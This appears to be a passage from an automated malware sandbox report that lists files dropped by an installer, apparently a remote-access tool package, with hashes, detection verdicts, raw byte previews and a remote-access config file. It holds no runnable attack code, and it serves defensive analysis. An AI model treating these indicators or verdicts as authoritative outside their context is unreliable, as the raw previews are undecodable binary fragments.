                                                                                                                      i7j22nof2Q.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                          file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                            file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                              file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RATBrowse
                                                                                                                                  aesM8nmCM2.exeGet hashmaliciousUnknownBrowse

                                                                                                                                    Created / dropped Files

                                                                                                                                    C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\Desktop\oZ3vtWXObB.exe
                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):3196416
                                                                                                                                    Entropy (8bit):6.317773759500199
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:6dx4HDQNJL0VR6SgMt+k4RiP+RmXMjiINiMq95FoHVHNTQTEjT333TY:LHDYsqiPRhINnq95FoHVBT333T
                                                                                                                                    MD5:A4E733D8E4B800D3DA4197B2B2CE6049
                                                                                                                                    SHA1:9EADB63180A10A9C8B4BD76D4761ADBEE3CCA75C
                                                                                                                                    SHA-256:8B7F24ECBFC0F0EABF3BB1E232E0FCED16A9742754EC6545F97219CCCA3844F5
                                                                                                                                    SHA-512:9705E71BC750DAFE6B3065EBBDFA087364DE78782311DAFEDC127F7F4D915E2618E0EDC4B9BD87B308F05F03F0BCD65F8A162590CCCA3CC561DFA632E8B1BDE6
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Reputation:low
                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................B,.........`V,......`,...@...........................1...........@......@....................-.......-..9............................................................-.......................-.......-......................text.....,.......,................. ..`.itext...(...0,..*....,............. ..`.data........`,......F,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-...... -.............@..@.rsrc................"-.............@..@..............1.......0.............@..@........................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_iscrypt.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2560
                                                                                                                                    Entropy (8bit):2.8818118453929262
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
                                                                                                                                    MD5:A69559718AB506675E907FE49DEB71E9
                                                                                                                                    SHA1:BC8F404FFDB1960B50C12FF9413C893B56F2E36F
                                                                                                                                    SHA-256:2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
                                                                                                                                    SHA-512:E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Joe Sandbox View:
                                                                                                                                    • Filename: wjpP1EOX0L.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: 1.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: 1.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: i7j22nof2Q.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                    • Filename: aesM8nmCM2.exe, Detection: malicious, Browse
                                                                                                                                    Reputation:high, very likely benign file
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_setup64.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):6144
                                                                                                                                    Entropy (8bit):4.720366600008286
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                                                                                                                                    MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                                                                                                                    SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                                                                                                                    SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                                                                                                                    SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\Desktop\oZ3vtWXObB.exe
                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):3196416
                                                                                                                                    Entropy (8bit):6.317773759500199
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:6dx4HDQNJL0VR6SgMt+k4RiP+RmXMjiINiMq95FoHVHNTQTEjT333TY:LHDYsqiPRhINnq95FoHVBT333T
                                                                                                                                    MD5:A4E733D8E4B800D3DA4197B2B2CE6049
                                                                                                                                    SHA1:9EADB63180A10A9C8B4BD76D4761ADBEE3CCA75C
                                                                                                                                    SHA-256:8B7F24ECBFC0F0EABF3BB1E232E0FCED16A9742754EC6545F97219CCCA3844F5
                                                                                                                                    SHA-512:9705E71BC750DAFE6B3065EBBDFA087364DE78782311DAFEDC127F7F4D915E2618E0EDC4B9BD87B308F05F03F0BCD65F8A162590CCCA3CC561DFA632E8B1BDE6
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................B,.........`V,......`,...@...........................1...........@......@....................-.......-..9............................................................-.......................-.......-......................text.....,.......,................. ..`.itext...(...0,..*....,............. ..`.data........`,......F,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-...... -.............@..@.rsrc................"-.............@..@..............1.......0.............@..@........................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_iscrypt.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2560
                                                                                                                                    Entropy (8bit):2.8818118453929262
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
                                                                                                                                    MD5:A69559718AB506675E907FE49DEB71E9
                                                                                                                                    SHA1:BC8F404FFDB1960B50C12FF9413C893B56F2E36F
                                                                                                                                    SHA-256:2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
                                                                                                                                    SHA-512:E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_setup64.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):6144
                                                                                                                                    Entropy (8bit):4.720366600008286
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                                                                                                                                    MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                                                                                                                    SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                                                                                                                    SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                                                                                                                    SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\6nnnc.bmp (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 304x165, components 3
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):5684
                                                                                                                                    Entropy (8bit):7.889638794525415
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:96:ETFmuCyeQ5cM+Apb2zv31pz+7bqNqa6sh3xvhpRpZqcSPVs/GmXOVHcSrtBt2ij:u4yeQ5cFAw/n67bQqPSxvNpZqcSPVsfs
                                                                                                                                    MD5:2BFF1421FCEB76BAC872737F8ACB5250
                                                                                                                                    SHA1:8DC3186A4DA70BF6B60176B5FD2F0576F7C01527
                                                                                                                                    SHA-256:80F72C25F7608DE7EFF4953FC4B82A3F52BF1F8D6B814743B8E533570D6A4D55
                                                                                                                                    SHA-512:547AB41EB53853D9226ED8C1511A189CD0A64107A0BB14D75075E3FFE5B02C44F0E7AA36A800BF1B3BCA333957D6DB9F4D794466656CA4598DC1DD129F772FCC
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:......JFIF...................................................( ..%...!1!%)+.....583,7(-.+.........../..%-----+-/+.--7+--.-+--.-------.-/+--5----7--------+........0.."........................................O.........................!12AQq."3ar......#bs....B...4RS.......$Dct..%CT...................................-......................1.!AQ..."2..Ra..q..B.............?..S...bx.)6.-....F[...........}^.M....+.j[.._Y*L.B.....d.A....r.T[[2g.~_...,.r|...r......bd..n..Q-...m..Ra.T.r....."...z..}..-DD.......gY.9...lD@...DD.A...t..NP-m....Vx&9/........M..-....&.s..uIH`.d"".P..@...D.J.[i..}.O..e&...X.7(..a.5-.f_.._Y...o.e....}j.2......=....\..........YO...(.z.Cr.Y.DnW...$..w..Z.}&..n.........D..".d...a4....h.4.Q)(..R....b=.......!....,.B.....k..E7.+.n8_:.\..!.[....9..^.8...:$<....S....5g-.o..lH.......p....7.).....J.!.....*..@...".....=-[........*%.c.5..7.n4...-..5....$p%...H..."4.......P.D@k-.Z/...*:.ir.}.O.Q.9.*..b.........i...?.W.../..|6mdc.S...-O..Y8....Xe..(:#r.c

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\AstCrp.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):172216
                                                                                                                                    Entropy (8bit):6.698242571688099
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
                                                                                                                                    MD5:CF1169A87FE6266C7B457A2424DA69DA
                                                                                                                                    SHA1:5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
                                                                                                                                    SHA-256:24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
                                                                                                                                    SHA-512:7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\ast.exe (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):7543992
                                                                                                                                    Entropy (8bit):6.717610928993395
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
                                                                                                                                    MD5:8002D9E5851728EB024B398CF19DE390
                                                                                                                                    SHA1:9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
                                                                                                                                    SHA-256:B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
                                                                                                                                    SHA-512:6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 12%
                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......*N..................rdata..#.....T......*N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\astclient.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):581304
                                                                                                                                    Entropy (8bit):6.580382227041057
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
                                                                                                                                    MD5:CDC5A8221738C1CA66564755BB58138C
                                                                                                                                    SHA1:EF096A2CAF133D217C202C147855F2CEE7ECD105
                                                                                                                                    SHA-256:DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
                                                                                                                                    SHA-512:A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.|*Ol..O.|(O...O.|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N|..O.$O|..O}.LO|..O..N|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\astrct.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1724088
                                                                                                                                    Entropy (8bit):6.573221633911959
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
                                                                                                                                    MD5:E0E559010A1CC7CB6B6F754E8833A156
                                                                                                                                    SHA1:0ADB286A1511B9D5820B042EE7D059DAEE8D0978
                                                                                                                                    SHA-256:A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
                                                                                                                                    SHA-512:3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\aw_sas32.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):17648
                                                                                                                                    Entropy (8bit):6.317642988990049
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
                                                                                                                                    MD5:ACF7048E2347CFD66CD17648DBFBAF45
                                                                                                                                    SHA1:DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
                                                                                                                                    SHA-256:F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
                                                                                                                                    SHA-512:51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\config.ini (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):586
                                                                                                                                    Entropy (8bit):5.203397968860563
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12:L1YWzRcSbZKsNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:Z7zRcSbZKKlcMypJD5KxkiaJosBq
                                                                                                                                    MD5:5D7974984AE3D593B7887CC7BDA866DD
                                                                                                                                    SHA1:9C0B2EC2659812F1E46F2D32F82E61DF223C674C
                                                                                                                                    SHA-256:7888BDB632F1BC5EB6DAE5624FE9065868D279E50ACC569D3DDE0F6DB1C95051
                                                                                                                                    SHA-512:7BDACFBCE85726A683C3A316F578A88D5991E37C8FB1E13FC4715141F5752E7FD5D145AC36730B637E26FD3198EDE2D27E86F5CF7283A0C9B08579B1056B0B70
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:[config]..Security.FixPass=4297F44B13955235245B2497399D7A93..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\dsm7v.cfg (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:data
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):33
                                                                                                                                    Entropy (8bit):4.923181998146335
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:3:qfpkFjED0/n:4eIin
                                                                                                                                    MD5:461E79397D62B02EBB5B932E7D8759C6
                                                                                                                                    SHA1:D62C8F2D84A160711CF74258F2E2504955E6C219
                                                                                                                                    SHA-256:2044E4686181985E3648D0DA1AC3107B7B33CFC701EA5E7532E1B2178229416A
                                                                                                                                    SHA-512:C0ABC0FCC029F6B9D4B1A299F8461C775B52F57668313782D9B89FA5A99BF64B56D01579734F4C2CC7DBE273A8F17C9B4814F6655FCC1B7E7E109715E2A6102B
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:....:.&k..4....J'..;.1F..!...m..

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\hatls.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2236144
                                                                                                                                    Entropy (8bit):5.624149670958732
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
                                                                                                                                    MD5:BCCF6A5C2595EEA84533692BB788D8BB
                                                                                                                                    SHA1:24318226F145E52B7633A4E9E844D6EAD43B75AC
                                                                                                                                    SHA-256:ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
                                                                                                                                    SHA-512:78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-02JO0.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):581304
                                                                                                                                    Entropy (8bit):6.580382227041057
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
                                                                                                                                    MD5:CDC5A8221738C1CA66564755BB58138C
                                                                                                                                    SHA1:EF096A2CAF133D217C202C147855F2CEE7ECD105
                                                                                                                                    SHA-256:DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
                                                                                                                                    SHA-512:A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.|*Ol..O.|(O...O.|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N|..O.$O|..O}.LO|..O..N|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-0I1DI.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):541880
